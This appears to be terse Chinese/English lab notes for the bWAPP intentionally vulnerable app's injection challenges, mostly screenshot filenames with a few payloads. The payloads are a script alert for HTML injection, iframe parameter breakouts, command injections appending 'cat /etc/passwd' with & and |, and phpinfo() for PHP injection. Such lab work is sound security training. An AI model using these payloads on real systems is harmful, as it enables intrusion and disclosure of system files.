BWAPP A1 - Injection

1. HTML Injection - Reflected (GET)

1.1 low

firstname=

1.2 medium

firstname=%253Cscript%253Ealert(666)%253C/script%253E

1.png

1.3 high

2.png

2. HTML Injection - Reflected (POST)

同HTML Injection - Reflected (GET)

3. HTML Injection - Reflected (Current URL)

原始包头

3

3.1

4.png

3.2

5

代码

6.png

3.3

代码

7.png

4. HTML Injection - Stored (Blog)

8.png

9.png

5. iFrame Injection

5.1

ParamUrl=robots.txt">

5.2

ParamUrl=robots.txt&ParamWidth=200">&ParamHeight=100

10.png

11.png

12.png

5.3

13.png

8. OS Command Injection

14.png

15.png

8.1

Linux: 127.0.0.1 & cat /etc/passwd

8.2

Linux:127.0.0.1 | cat /etc/passwd

8.3

9. OS Command Injection - Blind

同8

10. PHP Code Injection

16.png

10.1

message=phpinfo()

10.2

输出编码

10.3

输出编码